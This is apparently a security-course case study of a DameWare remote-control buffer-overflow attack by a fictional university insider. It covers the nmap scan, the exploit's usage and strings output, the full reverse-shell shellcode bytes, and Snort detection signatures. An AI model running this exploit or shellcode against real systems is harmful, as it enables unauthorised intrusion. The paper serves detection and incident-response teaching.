questions Catherine about the events of Sunday, March 7, 2004. Facing expulsion and
possible legal action, Catherine eventually breaks down and tells them that she went into
the lab on the night in question and tricked a male student at an adjacent computer to log
in to the network for her. She recounts her story of pretending to have trouble logging in
to the network and asking the gentleman to help her log in so that she could obtain an
assignment that was due soon. After the gentleman (Mr. Dumas) logged in to the
network under his own name, she downloaded an exploit then used that exploit to
compromise a Windows XP box that she had previous identified as running DameWare.
She states that she used nmap from the Linux box in her office to scan the network
looking for systems that were listening on the port DameWare uses. In tears she states
that her actions were intended as a political statement against the University, the music
industry and the copyright laws.

The Platforms and Environments Relevant to the Attack

Victim’s Platform

The victim platform may be any version of Microsoft Windows NT, 2000, XP, or 2003
running a version of DameWare Mini Remote Control prior to version 3.73.0.0. In the
context of the scenario, the victim’s platform was a Microsoft Windows XP Professional
workstation with all operating system patches applied21. The system, in the context of the
scenario, was installed from a Ghost image and at some point had DameWare installed.
The system was left powered on even when not in use since tasks such as virus definition
updates and operating system patches were applied at night when the users were typically
not using the system.

21 The presence of the operating system patches is not relevant to this attack, so the patches applied have
not been shown. No current Microsoft patch can prevent this attack.
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Figure 2 - High level block diagram depicting the test environment.

Source and Target Network

The attack study was conducted on an isolated network consisting of Red Hat Linux 7.3,
Windows XP Professional, and Windows 2000 Professional. The network was simulated
by running VMware 4.0 on Red Hat Linux 7.3, as shown in Figure 2. Each Windows
operating system was installed as a guest operating system. Patches to the Windows OSs
were applied from a compact disc. Though a router and firewall are shown in the
diagram, those components are not involved in the attack. In the real world, a router or
firewall would have no impact on this type of attack other than to establish and maintain
an access control function.

In the context of the scenario, the attack took place from a single machine located in an
all night campus lab consisting of systems running Windows 2000 Professional. When a
user logs in to the system, they are given local administrator rights (this is a common
practice in many organizations and often found to be necessary, since not all applications
used on the system function properly without administrative rights). The Windows 2000
systems were installed from a Ghost image and are maintained in a known state though
the use of an automated Ghosting process which is run in the early-morning hours each
day. None of the systems have been extensively hardened to resist attacks. Each lab
machine is connected via a switch, which in turn connects to a router, which connects the
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lab to the rest of the campus network. Packets destined for the Internet are placed on the
network core and sent to the border router. As the packets head toward the border router,
they traverse an Intrusion Detection System and pass through a firewall before finally
reaching the router, which directs the packets toward their final destination.

Target Network

In the scenario, the targeted system was a Windows XP Professional system with all
service packs installed. The local user of the XP system has local administrator rights to
the machine. The XP machine is one of several XP machines in the office. Each
machine is attached to a switch which connects the office to its local file server. The
switch is connected to a router which connects to the university’s core network. Packets
destined for the Internet are placed on the network core and sent toward a network border
router. Packets that are destined for the Internet must pass by Intrusion Detection System
before exiting the firewall and emerging on the outside of the university’s network.  

The diagram below represents the relevant parts of Vulnerable State University’s network
where the attack takes place. Overall, the entire network at the university can be
deconstructed as being made up of various sized cells which consist of devices attached
to one or more switches which are in turn connected to one of several core routers. Each
core router is connected to at least two other routers to give the network fault tolerance.
In the diagram, the Windows 2000 computer lab where the attack took place is shown in
the upper left hand corner. The office containing the Windows XP machine that was
exploited is in the lower left hand corner and the office containing the IT department are
in the upper right hand corner. The right center portion of the diagram shows three
interconnected core routers, a commercial intrusion detection system, a commercial
firewall, and the Internet. Though single icons are shown for the firewall and IDS, this is
a simplification, as an actual large scale network would employ multiple firewalls and
IDSs for improved performance and fault tolerance. The cloud icons located at the top
and bottom of the diagramlead to other sections of the university’s network.
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Figure 3 - Network diagram of VSU (Vulnerable State University.)

The Five Stages of the Attack

Stage 1: Reconnaissance

There are two types of attackers, internal and external. While there are more external
attackers than internal, the amount of damage inflicted and the amount of fiscal loss
incurred as a result internal attackers outstrips the damage done by external attackers22.
In the scenario, the attacker is an employee of the university where the attack takes place.
Insiders such as our attacker can gain information from a wide array of sources. Sources
of information available to the insider come from email, job functions, staff meetings,
and internal documentation. Insiders are typically given a greater level of trust and
access to systems, people, and other information. By their nature, insiders generally have
greater access than outsiders, but that does not mean they may not employ some of the
techniques typically used by outsiders. In the scenario outlined above, the attacker used a
mixture of passive and active techniques to locate targets to exploit. She already knew

22 http://www.esecurityplanet.com/trends/article.php/2244131
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where the Windows operating system was in use and that some of those systems were
running a vulnerable service, she simply needed to determine which of those systems
were running a vulnerable service. Her knowledge related to the use of Windows and
DameWare was gained through passive techniques: her employment, conversations with
co-workers, etc. Knowledge of which Windows machines were running DameWare was
gained through an active technique, the network scan. She also knew that the IDS would
not detect her attack as it did not monitor the traffic on the core network. If the attacker
were an outsider, they may have to use some of the techniques outlined below.

Information gathering techniques employed by computer criminals have been described
in movies and the news media. The 1983 movie “WarGames” revolved around a
character that wanted to crack a system in order to gain access to computer games that
were still under development. The movie character did not have the advantage of today’s
Internet, so he had to go to the library and search for newspaper articles and other
publications in order to gain insight on his intended target. This research ultimately led
to the successful compromise of the “gaming” system and served as a major plot point of 
the movie23. Today, modern crackers have the advantage of a far more powerful Internet
compared to that which existed in the early 1980s. As the available information on the
Internet has grown, many crackers have begun or expanded their use of search engines as
cracking tools.  Adrian Lamo, the “homeless hacker,” has been credited as saying, 
"Google, properly leveraged, has more intrusion potential than any hacking tool."24

Lamo does not mean to imply that Google is a hacking tool per se, but it is has indexed
such a vast amount of information contained on the Internet that one can find out almost
anything with a properly phrased query. Lamo gained notoriety when he was credited
with penetrating a major news publication by using a web browser and search engine to
exploit a faulty proxy configuration.25

Using search techniques similar to those employed by Lamo, it is possible for an attacker
to gain information that could be used to compromise a system. For the purposes of this
paper the attacker knows that the DameWare software only runs on the Microsoft
Windows platform, therefore the attacker must determine the operating system in use by
the intended target. The attacker also knows that only certain versions of DameWare are
vulnerable to the particular exploit that is circulating. The information on the vulnerable
versions of DameWare and Windows can be found in various mailing lists and computer
security web sites. Depending on how the attacker intends to use the system he targets,
the attacker may be more interested in systems that are used as some type of server.
Servers are typically higher-end machines (compared to workstations) with access to fast
storage devices and high bandwidth Internet connections. Many home users now have
broadband connections which have reasonably high bandwidth, but the typical home user
isn’t going to install DameWare unless they intendto remotely administer their system.
A home user that has DameWare installed on their system and is connected to the
Internet via broadband would be an attractive target to some attackers, as many home
users do not staycurrent with patches and don’ttypically monitor their systems closely.

23 http://www.nitpickers.com/movies/titles/75067.html - a link for Ed S.
24 http://www.wired.com/news/infostructure/0,1377,57897,00.html
25 http://www.computerworld.com/securitytopics/security/story/0,10801,68662,00.html
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There are several methods, both active and passive, that the attacker can employ to
determine the type of operating system or systems found on a network. Passive methods
include examining email headers for indications of Windows-only software such as
Exchange or Outlook. The attacker could also use the Google search engine (or any
search engine or site that stores web content) to examine a cached copy of the HTML of
the intended victim’s web site.  Searching (manually or with the aid of a script) the
HTML for Windows specific methodologies and technologies such as Active Server
Pages that are called from within the victim’s domain, or the use of the backslash, “\” 
instead of a forward slash, “/” would enable to attacker make a determination about some
of the operating systems in use at the target site.  The attacker could also use the “What’s 
That Site Running” feature found at Netcraft’s website, www.netcraft.net, to aid remote
operating system identification. An attacker could also take a more active approach and
telnet to various ports on the unknown server and look at response strings. Any method
or process that involves the attacker establishing a connection to the site of interest would
be considered “active” recon and could be detected by the system administrator.
Methods that involve the attacker using cached information, information found in search
engines, or information gained by various web sites that then store and report on the
information would be considered passive, as these methods are not directly traceable to
the attacker by the system administrator. Once the attacker knows that an organization is
running some version of Microsoft Windows they may proceed to scanning the network
in an effort to locate potentially vulnerable hosts.

Stage 2: Scanning

If the attacker is not overly concerned about detection during this phase of the operation,
there are several tools (usually called scanners or port scanners) that could be used to
probe networks for indications of the DameWare service. In general, port scanning a
network involves using a piece of software to open one or more ports on a remote system.
The port scanning tool may interrogate the remote system to determine exactly what
service responded to the probe, or the scanning tool may simply report that a certain port
is open or closed. Scanning is typically a very“noisy”process because many types of
scans establish a partial TCP session with the remote system by sending the system a
SYN packet. Many network intrusion detection systems, or NIDS, such as Snort, are
capable of detecting port scans. Host based intrusion detection systems (HIDS) such as
ZoneAlarm or PortSentry are also capable of detecting port scans. These types of scans
typically produce packets that are destined for multiple ports yet appear to originate from
a common IP address. DameWare, by default, uses TCP port 6129 for remote
connections which means that the program must listen on that port for incoming requests.
A port scanner such as nmap26 (available for just about any flavor of *nix or Windows)
could be used to scan a network, identify the remote operating system and locate systems
with a service listening on port 6129. The attacker had access to a system running Linux.
The system had nmap installed which was used to run a scan of the network to find
systems running DameWare. The following syntax was used to launch the scan.

26 Nmap can be obtained at: www.insecure.org
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./nmap–sS–v–O–n–oN target-networks.txt–p 6129 172.16.60.*

The “./” means that the user was in the same directory with the nmap program. Nmap is
the name of the scanning program. Several command line options were used as
arguments to nmap. The“-sS”is the option for a stealth scan that uses synchronize
packets.  Recall that “syn” packets are the first stage of the three-way TCP handshake.
This option sends synchronize packets to each target from the scanning machine which
makes this option somewhat dangerous for the attacker as it exposes the IP address of the
system where the scanning is originating. The second option, -v, tells the scanning
program to be verbose in its output.  The “-O” option turns on the fingerprinting option 
that aids in identifying the operating system running on the machine being scanned.
Since the network on which the scanning takes place is isolated and contains no domain
resolution system, the, “-n” option is used to suppress nmap’s attempts at resolving the 
IP addresses into hostnames. The log file from which the output below was obtained,
resulted from the “-oN target-networks.txt” option which means that nmap should log 
the results of the scan to the file, “target-networks.txt”in a normal fashion which means
that the output will be saved in the same style as the output that appears on the screen.
The attacker is only interested in one port on the remote systems, that being the port the
DameWare service listens on.  The “-p 6129” optioncauses nmap to probe that port on
remote systems.  The final argument, “172.16.60.*” is the address range nmap will
probe.

As the scan begins, the following output is produced and logged to a file on the system
where the scan originated.

# nmap 3.45 scan initiated Fri Mar 5 15:26:22 2004 as: ./nmap -sS -v -O -n -oN target-
networks.txt -p 6129 172.16.60.*

Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1
closed TCP port
Interesting ports on 172.16.60.1:
PORT STATE SERVICE
6129/tcp closed unknown
Device type: general purpose
Running: Linux 2.4.X|2.5.X, Novell Netware 6.X
Too many fingerprints match this host to give specific OS details
TCP/IP fingerprint:
SInfo(V=3.45%P=i686-pc-linux-gnu%D=3/13%Time=4053B4CB%O=-1%C=6129)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=
134%DAT=E)

Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1
closed TCP port
Interesting ports on 172.16.60.129:
PORT STATE SERVICE
6129/tcp closed unknown
Too many fingerprints match this host to give specific OS details
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TCP/IP fingerprint:
SInfo(V=3.45%P=i686-pc-linux-gnu%D=3/13%Time=4053B4D9%O=-1%C=6129)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=13
4%DAT=E)

Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1
closed TCP port
Interesting ports on 172.16.60.131:
PORT STATE SERVICE
6129/tcp open unknown
Device type: general purpose
Running: Microsoft Windows 95/98/ME|NT/2K/XP
OS details: Microsoft Windows Millennium Edition (Me), Windows 2000 Professional or Advanced
Server, or Windows XP
TCP Sequence Prediction: Class=random positive increments

Difficulty=8591 (Worthy challenge)
IPID Sequence Generation: Incremental

# Nmap run completed at Fri Mar 5 15:26:50 2004 -- 256 IP addresses (3 hosts up) scanned in
27.654 seconds

With the options given to nmap, the host IP addresses are scanned in numerical order.
The first host scanned, 172.16.60.1, is shown to have port 6129 closed. Nmap reported
that identifying the operating system would not be as reliable as theoretically possible
because it wasn’t able to get enough information about the remote operating system.  In 
many cases nmap is able to make a determination about the remote operating system
because it probes the system, then compares the results to fingerprints found in its
database. In this instance two operating systems, Linux and Netware have matches in the
database. The correct answer is Linux, the host operating system for the VMware
software, which would serve as the firewall and router should this test environment be
connected to another network. The second host scanned, 172.16.60.129, did not have
port 6129 open. Nmap was unable to identify the operating system as too many of the
fingerprints returned matched entries in nmap’s database of OS fingerprints.  In this 
case, the operating system is Windows 2000 Professional, which is where the attacker
launched the attack. Why would an attacker scan their own system? Normally the
attacker probably wouldn’t; in this case, the system used to launch the attack as well as
the system that was exploited happened to be on the same network (by virtue of the
network being constructed with VMware) and the attacker did not exclude any IP
addresses. The third system scanned, 172.16.60.131, was identified by nmap as being a
Microsoft Windows operating system. The scan lasted a total of 28 seconds and would
likely have been detected by a network based intrusion detection system. Nmap supports
an option that changes the aggressiveness of the scan which serves to avoid detection by
an intrusion detection system.

The syntax for nmap can be obtained by invoking program without any options. The
output is shown below.
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Nmap 3.45 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types ('*' options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))

-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan

-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)

-sV Version scan probes open ports determining service and app names/versions -sR/-I
RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system

-p <range> ports to scan. Example range: '1-1024,1080,6666,31337'
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don't ping hosts (needed to scan www.microsoft.com and others)

* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys
-6 scans via IPv6 rather than IPv4
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile>
-iL <inputfile> Get targets from file; Use '-' for stdin

* -S <your_IP>/-e <devicename> Specify source address or network interface
--interactive Go into interactive mode (then press h for help)

Example: nmap -v -sS -O www.my.com 192.168.0.0/16 '192.88-90.*.*'
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES

As mentioned at the beginning of this section, network scans can be very “noisy” --
depending on how they are carried out. The options used with this scan are interesting
for two reasons: first, a file was produced and second, the “-sS” option required root 
access to invoke. The file produced would have metadata consisting of time stamps
(modification, access, change) that could be useful in establishing a timeline for the
incident. The contents of the file are useful as well, because the command line options
used to run the scan in contained within. This information could be used to establish a
list of hosts that might require examination.

Network scans are not foolproof. The nmap output above shows that the database had
trouble finding an exact match for some of the operating systems found on the scanned
network. In addition, the administrator of the targeted system may have software such as
a firewall or a filter in place that only accepts connections from certain IP addresses. The
administrator may have changed the fingerprint of the IP stack used to identify the OS
which would cause the scanning tool to incorrectly identify the OS. The administrator
may have also changed the default port of 6129 to some other port. Other attack
mitigation techniques will be revisited and discussed later in this paper.

Additional Resources and Information Mentioned in this Section:

Sites to obtain port scanners:
Nmap for Linux and Windows:
www.insecure.org
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SuperScanner 4.0–Windows only.
www.foundstone.com

Sites to obtain Intrusion Detection Systems:
Kerio–Windows only host based IDS/Firewall.
www.kerio.com/

Snort for Linux and Windows:
www.snort.org

ZoneAlarm–Windows only host based IDS/Firewall.
www.zonealarm.com

PortSentry–Unix.
http://sourceforge.net/projects/sentrytools/

An Explanation of various types of network scans:
http://www.securityfocus.com/guest/24226

Stage 3: Exploiting the System

In the scenario, the attacker downloaded the exploit once it appeared on a disclosure web
site; for the purposes of this study, Google was used to locate an exploit against the
DameWare service by executing a search on the words, “dameware”+”exploit”+”binary.”  
A precompiled exploit27 created by Adik was found and used for demonstration in this
paper.

The exploit, dmware.rar was downloaded and unpacked. A directory listing revealed
the files that are available for the attacker to use. The figure shows a binary file,
dmware.exe and another file dmware.c which is presumed to be the source code used to
create the exploit binary.

Figure 4 - The source code of the exploit and the exploit binary.

27 The exploit binary, dmware.rar was found on a couple of websites including,
www.governmentsecurity.org and the Full-Disclosure website.
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A cursory strings analysis was run against the dmware.exe file which revealed many
textual similarities between the source code file and the binary. While this is not
conclusive proof that the binary was produced by compiling this source code, it seems
fairly likely. To use strings28 to obtain information from dmware.exe the command,
strings–a dmware.exe was executed. The output resulting from that command is
shown below. The source code packaged with the exploit binary can be found in
Appendix B.

Strings output from dmware.exe, starting around line 491 of the output:
[x] Exploit appears to have failed!
[*] Dropping to shell...
[*] Connection request accepted: %s:%d
[*] Waiting for incoming connection...
[*] Packet injected!
[x] Timeout! Failed to receive packet! Exiting...
[x] Failed to inject packet2! Exiting...
[x] Failed to inject packet! Exiting...
[x] Timeout! Failed to recv packet.
[x] Connection to host failed! Exiting...
[*] Connecting to %s:%s...
[ OK ]
3.72.0.0
131.131.131.131
netninjaz_place
12/12/04 13:13:13
netmaniac was here
neTmaNiac
[*] Constructing packet for %s SP: %d...
EIP: 0x%x (%s)

[ FAILED ]
Failed to listen on port: %s! Exiting...
[*] Setting up a listener...
[ OK ]
[ FAILED ]
Failed binding to port: %s! Exiting...

[*] Binding to local port: %s...
[ OK ]
[ FAILED ]
Socket2 not initialized! Exiting...

[ FAILED ]
Socket1 not initialized! Exiting...

[*] Initializing sockets...
[*] Target IP:
%s
Port: %s
[*] Local IP:
%s
Listening Port: %s
Usage: %s
eg: %s 10.0.0.1 6129 10.0.0.2 21

28 The strings utility is commonly found on Linux systems. There are several places one may obtain a
version of strings for the Windows platform. SysInternals (www.sysinternals.com) is one site where the
utility may be downloaded.
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- Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1
- Versions vulnerable: <= DWRCS 3.72.0.0

...oO DameWare Remote Control Server Overflow Exploit Oo...
-( by Adik netmaniac[at]hotmail.KG )-
UNKNOWN
WINNT4
SP String : %-1.20s

WIN2003 [ver 5.2.%d]
SP String : %-1.20s

WINXP [ver 5.1.%d]
SP String : %-1.20s

WIN2000 [ver 5.0.%d]
SP String : %-1.20s
OS Info :

[x] Timeout! Doesn't appear to b a DMWRCS
[x] Connection to host failed! Exiting...
[x] Failed to resolve host: %s! Exiting...
[x] Connection closed.

Running the exploit binary with no parameters or arguments presents the attacker with a
screen informing the user of the nameof the attack, the author, the author’s email 
address, the vulnerable versions of DameWare, the platforms and service packs the
exploit was tested on, and the usage syntax to properly invoke the exploit.

Figure 5 - Running the exploit without options.

The figure below shows the attacker preparing to launch the attack against a system
running the DameWare service. Shown on the command line is the path to the exploit,
c:\cracks\dware, the name of the exploit binary, dmware, the IP address and port
number of the system that will be attacked, 172.16.60.129 on port 6129 and finally the
attacker’s IP address and the port the attacker wants the command shell to appear on, 
172.16.60.131 port 7777. The attacker may pick any port to bind to the remote shell, as
long as that port is not in use on the system launching the attack and the port is not
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closed, or firewalled. The latter requirement may cause the attacker to pick ports like 53,
normally used for DNS queries, or port 80, normally used for web traffic, or port 25,
normally used for mail servers, or ports that would be used for network address
translation.

Once the attacker knows the proper syntax an attempt to exploit a vulnerable system can
be made. The figure below shows the exploit binary along with the arguments that will
be used to set up the attack.

Figure 6 - Preparing to run the exploit against a remote system.

When the exploit is run with the command line options shown, a screen such as the one
below is produced. Starting from the top of the window the output from the exploit states
that versions of DWRCS less than or equal to version 3.72.0.0 are vulnerable, and that
the exploit was tested on DWRCS version 3.72.0.0 running on Windows 2000 Service
Pack 3 and Windows XP Service Pack 1 (recall that comments in the exploit code
mention Windows XP Service Pack 3, which does not yet exist). The next two lines give
the attacker an indication of which IP addresses and ports the attack will operate on. The
Target IP is the address for the system under attack and the local IP is the address where
the attack is being launched. In this example, the target machine is at 172.16.60.131 with
the DameWare service listening on port 6129 (the default port). The attacker is
launching the exploit from 172.16.60.129 and expects to get a command prompt returned
on port 7777, which the attacker believes to be an open port. The next three lines of
output tell the attacker what stage of the attack process the exploit is in, and whether or
not that stage of the process was successful. Sockets, or ports, are where network
communication takes place on a computer system. The exploit is informing the attacker
by returning “OK” that it was able to initialize the sockets, or set the sockets up for use.  
“Binding to local port…OK” means that the exploit was able to attach itself to the local 
port 7777.  The phrase “Setting up a listener…OK” means that the exploit was able to 
start listening for requests on port 7777. The next step, though not totally obvious from
the screen output, involves the exploit binary sending out probes to the remote operating
system to determine the operating system type and service pack level. Once the exploit
has determined these values it displays them on the screen as OS Info and SP String. In
this case, the remote system was identified as Windows XP running Service Pack 1. The
line containing EIP refers to the insertion point, or jump point, that will be used to
overflow the memory buffer. This is probably used as a debug or troubleshooting
statement to aid in determining which jump point should be used. The fact that the
source code was distributed with the binary would indicate that the author or authors
thought that the code may require modifications to the jump point routine. With the
remote operating system and patch level known, the exploit informs the attacker that it is
assembling a packet for use against the target system. The exploit then attempts to
connect to the DameWare service on TCP port 6129. If the connection is successful, the
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exploit will inject the packet it created. At this point, DameWare carries out the strcpy
functionwhich results in a buffer overflow and causes the attacker’s payload code to be 
executed. An intrusion detection system, either network or host based, may send out an
alert as soon as shell code is detected transiting the network. Many exploits are preceded
by a series of null operation commands, or NOPs29, which can be detected by an intrusion
detection system. Often appearing in hexadecimal as 0x90, a series of null operations is
sometimes referred to as a “NOP slide” or a “NOP sled”which is a technique used by the
attacker to pad the buffer overflow attack, which serves to ensure that their exploit code
executes. The open source IDS Snort has at least three signatures relevant to the
detection of null operation instructions on x86 architecture. Signatures 648, 651, and 653
all pertain to null operation sequences and are shown below. Signatures 648 and 653
clearly show the number “90.”  Signature 651 uses a binary representation, shown as, “eb 
02”, and may produce false positives as this sequence can be found in many binaries.

Signature 64830

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 NOOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90
90|"; depth: 128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:6;)

Signature 65131

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 stealth NOOP"; content: "|eb 02 eb 02 eb 02|";
reference:arachnids,291; classtype:shellcode-detect; sid:651; rev:6;)

Signature 65332

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 unicode NOOP"; content: "|90009000900090009000|";
classtype:shellcode-detect; sid:653; rev:6;)

These signatures if employed on an IDS placed in an appropriate location on the network,
could be used to alert network managers that suspicious activity is taking place on their
network segment. Shell code is another means which often exposes attacks.

The shell code contained in this exploit is shown below:

0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
0xC9, 0x66, 0xB9, 0xa2, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0xEE, 0x09, 0x64, 0x08, 0x88, 0x60, 0xAE, 0x89, 0x88, 0x88, 0x01,
0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xA3, 0x89, 0x88, 0x88, 0x01,
0xCE, 0x64, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x64,
0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0x82, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x56, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0x72, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x52, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x62, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x5E, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x52, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x42, 0x88, 0x88, 0x88,

29 NOP and NOOP are often used interchangeably.
30 http://www.snort.org/snort-db/sid.html?sid=648
31 http://www.snort.org/snort-db/sid.html?sid=651
32 http://www.snort.org/snort-db/sid.html?sid=653
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0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x64, 0x71, 0x22, 0xE8, 0x60, 0x32, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x22, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x6A, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88,
0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03,
0x50, 0xE0, 0x48, 0x20, 0xB7, 0x89, 0xE0, 0x8A, 0x88, 0xAA, 0x99, 0x03, 0x44, 0xE2, 0x98, 0xD9,
0xDB, 0x77, 0xDE, 0x60, 0x0D, 0x48, 0xFD, 0xD2, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x5A,
0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75,
0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x76, 0xCC, 0xAC, 0xB6, 0x01, 0xD4, 0xAC,
0xC0, 0x01, 0xD4, 0xAC, 0xC4, 0x01, 0xD4, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9,
0xD9, 0xD9, 0x4E, 0xCC, 0xAC, 0x8B, 0x80, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x5A, 0xD9,
0x77, 0xDE, 0x52, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x56, 0x03, 0x40, 0xDB, 0x77,
0xDE, 0x6A, 0x77, 0xDE, 0x5E, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03,
0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4,
0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2,
0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48,
0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C,
0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55,
0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A,
0x8C, 0x88

An IDS signature could be developed based on the shell code shown above. The exploit
then informs the attacker that the attempt to inject the packet was successful and that the
system running DameWare is making an outbound request on port 1048 to the attacker’s 
system. The line stating “Dropping to shell…” indicates that the listener on the attacker’s 
system has heard and answered the request coming from the attacked system. The
attacker is now presented with a command prompt, or shell. Snort signature 2123 detects
the appearance of cmd.exe on the network.

Snort Signature 212333

alert tcp $HOME_NET !21:23 -> $EXTERNAL_NET any (msg:"ATTACK-
RESPONSES Microsoft cmd.exe banner"; flow:from_server,established;
content:"Microsoft Windows"; content:"(C) Copyright 1985-"; distance:0;
content:"Microsoft Corp."; distance:0; reference:nessus,11633; classtype:successful-
admin; sid:2123; rev:1;)

The last few lines in Figure 7 indicate that the attacker has a command prompt on a
Windows XP system and is currently in the directory, c:\windows\system3234. That
directory is the where the ms2_32.dll resides. The properties of that DLL file, obtained
by browsing to the file, right clicking and selecting properties, list it as a 32 bit Windows
Socket dynamic link library. The attacker is now on the remote system and can carryout
whatever activities are permitted by the permissions the service is running under. By
default, this service runs with system level access, which is even more powerful than the
administrator access. The attacker may at this point try to obtain a copy of the SAM or
install a backdoor or carry out some other action intended to maintain his access to the
system or conceal his presence on the system. In the context of the scenario the attacker
installed her own version of DameWare, something the author has observed on actual
compromised systems.

33 http://www.snort.org/snort-db/sid.html?sid=2123
34 Testing revealed that the command shell could open in other directories.
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Figure 7 -The remote shell returned to the attacker’s system after running the exploit.

Signatures of the Attack

There were several signs that the system running DameWare had been attacked. Shown
below are the outputs from screen captures prior to the attack and immediately after the
attack. Prior to the attack, the vulnerable system shows port 6129 open when viewed
with the netstat command. After the attack the netstat command shows that port 7777 is
open and connected to another system. This sign is only useful while the attacker is
connected to the system. As soon as the command shell is closed with a control-c
combination, port 7777 will close.

Figure 8 - The output from the command, netstat–nao, prior to the attack, showing the
open ports and the process IDs associated with those ports.
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Figure 9 - The output from the command, netstat–nao35, after the attack, showing the
open ports and the process IDs associated with those ports.

The second sign is found in the event logs of the system running DameWare. The exploit
produces three entries in the Application event log. The exploit was launched against a
default install of Windows XP Professional that did not have the benefit of any additional
hardening. All of the settings pertaining to how events were logged were also left in the
default state. The Event Viewer can be reached a couple of ways, the long way and the
short way. The long way around: Start, Control Panel, Performance and Maintenance,
Administrative Tools, Event Viewer. The short way: from a command prompt type,
eventvwr.msc /s and press enter or go to Start, Run, and type eventvwr.msc /s and
